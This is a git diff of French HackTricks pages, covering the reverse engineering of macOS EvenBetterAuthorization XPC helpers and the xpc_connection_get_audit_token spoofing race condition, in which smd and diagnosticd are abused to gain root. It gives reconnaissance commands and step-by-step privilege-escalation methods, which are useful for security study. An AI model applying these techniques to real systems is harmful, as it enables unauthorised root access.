<table><thead><tr><th width="284.3333333333333">Nom</th><th width="165">Valeur</th><th>Description</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Tout le monde</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Personne</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utilisateur actuel doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Demander à l'utilisateur de s'authentifier.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Demander à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Spécifier les règles</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Spécifier des commentaires supplémentaires sur le droit</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Nom</th><th width="165">Valeur</th><th>Description</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Quiconque</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Personne</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utilisateur actuel doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Demander à l'utilisateur de s'authentifier.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Demander à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Spécifier des règles</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Spécifier des commentaires supplémentaires sur le droit</td></tr></tbody></table>
|
||||
|
||||
### Vérification des Droits
|
||||
### Vérification des droits
|
||||
|
||||
Dans `HelperTool/HelperTool.m`, la fonction **`readLicenseKeyAuthorization`** vérifie si l'appelant est autorisé à **exécuter une telle méthode** en appelant la fonction **`checkAuthorization`**. Cette fonction vérifiera si les **authData** envoyées par le processus appelant ont un **format correct** et ensuite vérifiera **ce qui est nécessaire pour obtenir le droit** d'appeler la méthode spécifique. Si tout se passe bien, l'**erreur retournée** sera `nil`.
|
||||
Dans `HelperTool/HelperTool.m`, la fonction **`readLicenseKeyAuthorization`** vérifie si l'appelant est autorisé à **exécuter une telle méthode** en appelant la fonction **`checkAuthorization`**. Cette fonction vérifiera si les **données d'authentification** envoyées par le processus appelant ont un **format correct** puis vérifiera **ce qui est nécessaire pour obtenir le droit** d'appeler la méthode spécifique. Si tout se passe bien, l'**erreur retournée sera `nil`**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -240,9 +240,9 @@ assert(junk == errAuthorizationSuccess);
|
|||
return error;
|
||||
}
|
||||
```
|
||||
Notez que pour **vérifier les exigences pour obtenir le droit** d'appeler cette méthode, la fonction `authorizationRightForCommand` vérifiera simplement l'objet précédemment commenté **`commandInfo`**. Ensuite, elle appellera **`AuthorizationCopyRights`** pour vérifier **si elle a les droits** d'appeler la fonction (notez que les drapeaux permettent l'interaction avec l'utilisateur).
|
||||
Notez que pour vérifier les exigences pour obtenir le droit d'appeler cette méthode, la fonction `authorizationRightForCommand` vérifiera simplement l'objet précédemment commenté `commandInfo`. Ensuite, elle appellera `AuthorizationCopyRights` pour vérifier si elle a le droit d'appeler la fonction (notez que les indicateurs permettent l'interaction avec l'utilisateur).
|
||||
|
||||
Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, le `kCommandKeyAuthRightDefault` est défini à `@kAuthorizationRuleClassAllow`. Donc **tout le monde peut l'appeler**.
|
||||
Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` est défini sur `@kAuthorizationRuleClassAllow`. Ainsi, n'importe qui peut l'appeler.
|
||||
|
||||
### Informations sur la base de données
|
||||
|
||||
|
@ -258,17 +258,17 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
```
|
||||
### Droits permissifs
|
||||
|
||||
Vous pouvez trouver **toutes les configurations de permissions** [**ici**](https://www.dssw.co.uk/reference/authorization-rights/), mais les combinaisons qui ne nécessiteront pas d'interaction de l'utilisateur seraient :
|
||||
Vous pouvez trouver **toutes les configurations de permissions** [**ici**](https://www.dssw.co.uk/reference/authorization-rights/), mais les combinaisons qui ne nécessiteront pas d'interaction utilisateur seraient :
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* C'est la clé la plus directe. Si elle est définie sur `false`, cela spécifie qu'un utilisateur n'a pas besoin de fournir d'authentification pour obtenir ce droit.
|
||||
* Cela est utilisé en **combinaison avec l'un des 2 ci-dessous ou en indiquant un groupe** auquel l'utilisateur doit appartenir.
|
||||
* Cela est utilisé en **combinaison avec l'une des 2 options ci-dessous ou en indiquant un groupe** auquel l'utilisateur doit appartenir.
|
||||
2. **'allow-root': 'true'**
|
||||
* Si un utilisateur fonctionne en tant qu'utilisateur root (qui a des permissions élevées), et que cette clé est définie sur `true`, l'utilisateur root pourrait potentiellement obtenir ce droit sans authentification supplémentaire. Cependant, typiquement, accéder à un statut d'utilisateur root nécessite déjà une authentification, donc ce n'est pas un scénario "sans authentification" pour la plupart des utilisateurs.
|
||||
* Si un utilisateur opère en tant qu'utilisateur root (qui a des permissions élevées), et que cette clé est définie sur `true`, l'utilisateur root pourrait potentiellement obtenir ce droit sans autre authentification. Cependant, en général, accéder au statut d'utilisateur root nécessite déjà une authentification, donc ce n'est pas un scénario "sans authentification" pour la plupart des utilisateurs.
|
||||
3. **'session-owner': 'true'**
|
||||
* Si défini sur `true`, le propriétaire de la session (l'utilisateur actuellement connecté) obtiendrait automatiquement ce droit. Cela pourrait contourner une authentification supplémentaire si l'utilisateur est déjà connecté.
|
||||
4. **'shared': 'true'**
|
||||
* Cette clé n'accorde pas de droits sans authentification. Au lieu de cela, si elle est définie sur `true`, cela signifie qu'une fois le droit authentifié, il peut être partagé entre plusieurs processus sans que chacun ait besoin de se ré-authentifier. Mais l'octroi initial du droit nécessiterait toujours une authentification à moins d'être combiné avec d'autres clés comme `'authenticate-user': 'false'`.
|
||||
* Cette clé ne confère pas de droits sans authentification. Au lieu de cela, si elle est définie sur `true`, cela signifie qu'une fois le droit authentifié, il peut être partagé entre plusieurs processus sans que chacun ait besoin de se ré-authentifier. Mais l'octroi initial du droit nécessiterait toujours une authentification à moins d'être combiné avec d'autres clés comme `'authenticate-user': 'false'`.
|
||||
|
||||
Vous pouvez [**utiliser ce script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) pour obtenir les droits intéressants :
|
||||
```bash
|
||||
|
@ -281,19 +281,19 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Inversion de l'Autorisation
|
||||
## Inversion d'autorisation
|
||||
|
||||
### Vérification si EvenBetterAuthorization est utilisé
|
||||
### Vérification de l'utilisation de EvenBetterAuthorization
|
||||
|
||||
Si vous trouvez la fonction : **`[HelperTool checkAuthorization:command:]`**, il est probable que le processus utilise le schéma d'autorisation mentionné précédemment :
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, si cette fonction appelle des fonctions telles que `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, elle utilise [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des permissions pour appeler une action privilégiée sans interaction de l'utilisateur.
|
||||
Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des autorisations pour appeler une action privilégiée sans interaction utilisateur.
|
||||
|
||||
### Communication de Protocole
|
||||
### Communication de protocole
|
||||
|
||||
Ensuite, vous devez trouver le schéma de protocole afin de pouvoir établir une communication avec le service XPC.
|
||||
|
||||
|
@ -301,9 +301,9 @@ La fonction **`shouldAcceptNewConnection`** indique le protocole exporté :
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dans ce cas, nous avons le même que dans EvenBetterAuthorizationSample, [**vérifiez cette ligne**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
Dans ce cas, nous avons la même chose que dans EvenBetterAuthorizationSample, [**vérifiez cette ligne**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Connaissant le nom du protocole utilisé, il est possible de **dumper sa définition d'en-tête** avec :
|
||||
En connaissant le nom du protocole utilisé, il est possible de **dumper sa définition d'en-tête** avec :
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -317,13 +317,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Enfin, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec celui-ci. Il existe plusieurs façons de trouver cela :
|
||||
Pour finir, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec lui. Il existe plusieurs façons de le trouver :
|
||||
|
||||
* Dans le **`[HelperTool init]`** où vous pouvez voir le service Mach utilisé :
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Dans le plist de launchd :
|
||||
* Dans le fichier launchd plist :
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
@ -336,7 +336,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
</dict>
|
||||
[...]
|
||||
```
|
||||
### Exemple d'exploitation
|
||||
### Exemple d'Exploitation
|
||||
|
||||
Dans cet exemple est créé :
|
||||
|
||||
|
@ -427,14 +427,14 @@ NSLog(@"Finished!");
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# Attaque xpc\_connection\_get\_audit\_token sur macOS
|
||||
# Attaque xpc\_connection\_get\_audit\_token macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Pour plus d'informations, consultez l'article original : [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)**. Voici un résumé :
|
||||
**Pour plus d'informations, consultez l'article original :** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Voici un résumé :
|
||||
|
||||
## Informations de base sur les messages Mach
|
||||
|
||||
|
@ -25,7 +25,7 @@ Si vous ne savez pas ce que sont les messages Mach, commencez par consulter cett
|
|||
{% endcontent-ref %}
|
||||
|
||||
Pour l'instant, retenez que ([définition à partir d'ici](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)) :
|
||||
Les messages Mach sont envoyés via un _port mach_, qui est un canal de communication **un récepteur, plusieurs expéditeurs** intégré dans le noyau mach. **Plusieurs processus peuvent envoyer des messages** à un port mach, mais à tout moment, **un seul processus peut le lire**. Tout comme les descripteurs de fichiers et les sockets, les ports mach sont alloués et gérés par le noyau et les processus ne voient qu'un entier, qu'ils peuvent utiliser pour indiquer au noyau lequel de leurs ports mach ils veulent utiliser.
|
||||
Les messages Mach sont envoyés via un _port Mach_, qui est un canal de communication **un récepteur, plusieurs expéditeurs** intégré dans le noyau Mach. **Plusieurs processus peuvent envoyer des messages** à un port Mach, mais à tout moment, **un seul processus peut le lire**. Tout comme les descripteurs de fichiers et les sockets, les ports Mach sont alloués et gérés par le noyau et les processus ne voient qu'un entier, qu'ils peuvent utiliser pour indiquer au noyau lequel de leurs ports Mach ils veulent utiliser.
|
||||
|
||||
## Connexion XPC
|
||||
|
||||
|
@ -37,9 +37,9 @@ Si vous ne savez pas comment une connexion XPC est établie, consultez :
|
|||
|
||||
## Résumé de la vulnérabilité
|
||||
|
||||
Ce qui est intéressant à savoir est que **l'abstraction XPC est une connexion un à un**, mais elle est basée sur une technologie qui **peut avoir plusieurs expéditeurs, donc :**
|
||||
Ce qui est intéressant à savoir, c'est que **l'abstraction XPC est une connexion un à un**, mais elle est basée sur une technologie qui **peut avoir plusieurs expéditeurs, donc :**
|
||||
|
||||
* Les ports mach sont un récepteur unique, **plusieurs expéditeurs**.
|
||||
* Les ports Mach sont un récepteur unique, **plusieurs expéditeurs**.
|
||||
* Le jeton d'audit d'une connexion XPC est le jeton d'audit **copié du message le plus récemment reçu**.
|
||||
* Obtenir le **jeton d'audit** d'une connexion XPC est crucial pour de nombreux **contrôles de sécurité**.
|
||||
|
||||
|
@ -48,10 +48,10 @@ Bien que la situation précédente semble prometteuse, il existe des scénarios
|
|||
* Les jetons d'audit sont souvent utilisés pour une vérification d'autorisation afin de décider d'accepter une connexion. Comme cela se fait en utilisant un message vers le port de service, il n'y a **pas encore de connexion établie**. Les messages supplémentaires sur ce port seront simplement traités comme des demandes de connexion supplémentaires. Ainsi, **les vérifications avant d'accepter une connexion ne sont pas vulnérables** (cela signifie également que dans `-listener:shouldAcceptNewConnection:`, le jeton d'audit est sécurisé). Nous recherchons donc **des connexions XPC qui vérifient des actions spécifiques**.
|
||||
* Les gestionnaires d'événements XPC sont traités de manière synchrone. Cela signifie que le gestionnaire d'événements pour un message doit être terminé avant de l'appeler pour le suivant, même sur des files d'attente de répartition concurrentes. Ainsi, à l'intérieur d'un **gestionnaire d'événements XPC, le jeton d'audit ne peut pas être écrasé** par d'autres messages normaux (non de réponse !).
|
||||
|
||||
Deux méthodes différentes peuvent être exploitées :
|
||||
Deux méthodes différentes par lesquelles cela pourrait être exploité :
|
||||
|
||||
1. Variante 1 :
|
||||
* L'**exploit se connecte** au service **A** et au service **B**.
|
||||
* L'**exploit** se connecte au service **A** et au service **B**.
|
||||
* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service **A** que l'utilisateur ne peut pas.
|
||||
* Le service **A** appelle **`xpc_connection_get_audit_token`** tout en étant _**pas**_ à l'intérieur du **gestionnaire d'événements** pour une connexion dans un **`dispatch_async`**.
|
||||
* Ainsi, un **message différent** pourrait **écraser le jeton d'audit** car il est envoyé de manière asynchrone en dehors du gestionnaire d'événements.
|
||||
|
@ -62,82 +62,74 @@ Deux méthodes différentes peuvent être exploitées :
|
|||
* Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service **A** que l'utilisateur ne peut pas.
|
||||
* L'exploit se connecte avec le **service A** qui **envoie** à l'exploit un **message attendant une réponse** dans un **port de réponse** spécifique.
|
||||
* L'exploit envoie au **service** B un message passant **ce port de réponse**.
|
||||
* Lorsque le service **B répond**, il **envoie le message au service A**, **pendant que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse de service B écrase le jeton d'audit au moment parfait (Condition de Course).
|
||||
* Lorsque le service **B répond**, il **envoie le message au service A**, **tandis que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse de service B écrase le jeton d'audit au moment parfait (Condition de Course).
|
||||
|
||||
## Variante 1 : appel de xpc\_connection\_get\_audit\_token en dehors d'un gestionnaire d'événements <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Scénario :
|
||||
|
||||
* Deux services mach **`A`** et **`B`** auxquels nous pouvons tous deux nous connecter (en fonction du profil de bac à sable et des vérifications d'autorisation avant d'accepter la connexion).
|
||||
* Deux services Mach **`A`** et **`B`** auxquels nous pouvons tous deux nous connecter (en fonction du profil de sandbox et des vérifications d'autorisation avant d'accepter la connexion).
|
||||
* _**A**_ doit avoir une **vérification d'autorisation** pour une action spécifique que **`B`** peut passer (mais notre application ne peut pas).
|
||||
* Par exemple, si B a des **privilèges** ou s'exécute en tant que **root**, il pourrait lui permettre de demander à A d'effectuer une action privilégiée.
|
||||
* Pour cette vérification d'autorisation, **`A`** obtient le jeton d'audit de manière asynchrone, par exemple en appelant `xpc_connection_get_audit_token` depuis **`dispatch_async`**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Dans ce cas, un attaquant pourrait déclencher une **Condition de Course** en créant un **exploit** qui **demande à A d'effectuer une action** plusieurs fois tout en faisant **envoyer des messages à `A` par B**. Lorsque la CC est **réussie**, le jeton d'audit de **B** sera copié en mémoire **pendant que** la demande de notre **exploit** est en cours de **traitement** par A, lui donnant **accès à l'action privilégiée que seul B pourrait demander**.
|
||||
Dans ce cas, un attaquant pourrait déclencher une **Condition de Course** en créant un **exploit** qui **demande à A d'effectuer une action** plusieurs fois tout en faisant **envoyer des messages à `A` par B**. Lorsque la CC est **réussie**, le **jeton d'audit** de **B** sera copié en mémoire **pendant que** la demande de notre **exploit** est en cours de **traitement** par A, lui donnant **accès à l'action privilégiée que seul B pourrait demander**.
|
||||
{% endhint %}
|
||||
|
||||
Cela s'est produit avec **`A`** en tant que `smd` et **`B`** en tant que `diagnosticd`. La fonction [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb peut être utilisée pour installer un nouvel outil d'aide privilégié (en tant que **root**). Si un **processus s'exécutant en tant que root contacte** **smd**, aucune autre vérification ne sera effectuée.
|
||||
|
||||
Par conséquent, le service **B** est **`diagnosticd`** car il s'exécute en tant que **root** et peut être utilisé pour **surveiller** un processus, donc une fois la surveillance démarrée, il **envoie plusieurs messages par seconde**.
|
||||
Par conséquent, le service **B** est **`diagnosticd`** car il s'exécute en tant que **root** et peut être utilisé pour **surveiller** un processus, donc une fois la surveillance commencée, il **envoie plusieurs messages par seconde**.
|
||||
|
||||
Pour effectuer l'attaque :
|
||||
|
||||
1. Initier une **connexion** au service nommé `smd` en utilisant le protocole XPC standard.
|
||||
2. Former une **connexion secondaire** à `diagnosticd`. Contrairement à la procédure normale, au lieu de créer et d'envoyer deux nouveaux ports mach, le droit d'envoi du port client est remplacé par une copie du **droit d'envoi** associé à la connexion `smd`.
|
||||
2. Former une **connexion secondaire** à `diagnosticd`. Contrairement à la procédure normale, au lieu de créer et d'envoyer deux nouveaux ports Mach, le droit d'envoi du port client est remplacé par une copie du **droit d'envoi** associé à la connexion `smd`.
|
||||
3. En conséquence, les messages XPC peuvent être envoyés à `diagnosticd`, mais les réponses de `diagnosticd` sont redirigées vers `smd`. Pour `smd`, il semble que les messages de l'utilisateur et de `diagnosticd` proviennent de la même connexion.
|
||||
|
||||
![Image illustrant le processus d'exploitation](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
|
||||
4. L'étape suivante consiste à demander à `diagnosticd` d'initier la surveillance d'un processus choisi (potentiellement celui de l'utilisateur). Simultanément, une avalanche de messages 1004 de routine est envoyée à `smd`. L'objectif ici est d'installer un outil avec des privilèges élevés.
|
||||
5. Cette action déclenche une condition de course dans la fonction `handle_bless`. Le timing est crucial : l'appel de la fonction `xpc_connection_get_pid` doit renvoyer le PID du processus de l'utilisateur (car l'outil privilégié réside dans le bundle d'application de l'utilisateur). Cependant, la fonction `xpc_connection_get_audit_token`, spécifiquement dans la sous-routine `connection_is_authorized`, doit faire référence au jeton d'audit appartenant à `diagnosticd`.
|
||||
![Image illustrant le processus de l'exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. La prochaine étape consiste à instruire `diagnosticd` d'initier la surveillance d'un processus choisi (potentiellement celui de l'utilisateur). Simultanément, une vague de messages 1004 de routine est envoyée à `smd`. L'intention ici est d'installer un outil avec des privilèges élevés.
|
||||
5. Cette action déclenche une condition de course au sein de la fonction `handle_bless`. Le timing est crucial : l'appel de fonction `xpc_connection_get_pid` doit renvoyer le PID du processus de l'utilisateur (car l'outil privilégié réside dans le bundle d'application de l'utilisateur). Cependant, la fonction `xpc_connection_get_audit_token`, spécifiquement dans la sous-routine `connection_is_authorized`, doit faire référence au jeton d'audit appartenant à `diagnosticd`.
|
||||
|
||||
## Variante 2 : transfert de réponse
|
||||
|
||||
Dans un environnement XPC (Communication inter-processus), bien que les gestionnaires d'événements ne s'exécutent pas simultanément, le traitement des messages de réponse présente un comportement unique. En particulier, deux méthodes distinctes existent pour envoyer des messages qui attendent une réponse :
|
||||
Dans un environnement XPC (Communication inter-processus), bien que les gestionnaires d'événements n'exécutent pas de manière concurrente, le traitement des messages de réponse a un comportement unique. Deux méthodes distinctes existent pour envoyer des messages qui attendent une réponse :
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`** : Ici, le message XPC est reçu et traité sur une file d'attente désignée.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`** : Au contraire, dans cette méthode, le message XPC est reçu et traité sur la file d'attente de répartition actuelle.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`** : Au contraire, dans cette méthode, le message XPC est reçu et traité sur la file d'attente de dispatch actuelle.
|
||||
|
||||
Cette distinction est cruciale car elle permet la possibilité de **traiter les paquets de réponse de manière concurrente avec l'exécution d'un gestionnaire d'événements XPC**. Notamment, bien que `_xpc_connection_set_creds` implémente un verrouillage pour protéger contre l'écrasement partiel du jeton d'audit, cette protection n'est pas étendue à l'ensemble de l'objet de connexion. Par conséquent, cela crée une vulnérabilité où le jeton d'audit peut être remplacé pendant l'intervalle entre l'analyse d'un paquet et l'exécution de son gestionnaire d'événements.
|
||||
Cette distinction est cruciale car elle permet la possibilité de **parser les paquets de réponse de manière concurrente avec l'exécution d'un gestionnaire d'événements XPC**. Notamment, bien que `_xpc_connection_set_creds` implémente un verrouillage pour protéger contre l'écrasement partiel du jeton d'audit, il n'étend pas cette protection à l'objet de connexion entier. Par conséquent, cela crée une vulnérabilité où le jeton d'audit peut être remplacé pendant l'intervalle entre l'analyse d'un paquet et l'exécution de son gestionnaire d'événements.
|
||||
|
||||
Pour exploiter cette vulnérabilité, la configuration suivante est requise :
|
||||
|
||||
- Deux services mach, appelés **`A`** et **`B`**, qui peuvent tous deux établir une connexion.
|
||||
- Le service **`A`** doit inclure une vérification d'autorisation pour une action spécifique que seul **`B`** peut effectuer (l'application de l'utilisateur ne peut pas).
|
||||
- Le service **`A`** doit envoyer un message qui attend une réponse.
|
||||
- L'utilisateur peut envoyer un message à **`B`** auquel il répondra.
|
||||
* Deux services mach, appelés **`A`** et **`B`**, qui peuvent tous deux établir une connexion.
|
||||
* Le service **`A`** devrait inclure une vérification d'autorisation pour une action spécifique que seul **`B`** peut effectuer (l'application de l'utilisateur ne peut pas).
|
||||
* Le service **`A`** devrait envoyer un message qui attend une réponse.
|
||||
* L'utilisateur peut envoyer un message à **`B`** auquel il répondra.
|
||||
|
||||
Le processus d'exploitation implique les étapes suivantes :
|
||||
|
||||
1. Attendre que le service **`A`** envoie un message qui attend une réponse.
|
||||
2. Au lieu de répondre directement à **`A`**, le port de réponse est détourné et utilisé pour envoyer un message à service **`B`**.
|
||||
3. Ensuite, un message impliquant l'action interdite est envoyé, en s'attendant à ce qu'il soit traité en même temps que la réponse de **`B`**.
|
||||
2. Au lieu de répondre directement à **`A`**, le port de réponse est détourné et utilisé pour envoyer un message au service **`B`**.
|
||||
3. Ensuite, un message impliquant l'action interdite est envoyé, en s'attendant à ce qu'il soit traité de manière concurrente avec la réponse de **`B`**.
|
||||
|
||||
Voici une représentation visuelle du scénario d'attaque décrit :
|
||||
Ci-dessous se trouve une représentation visuelle du scénario d'attaque décrit :
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problèmes de découverte
|
||||
|
||||
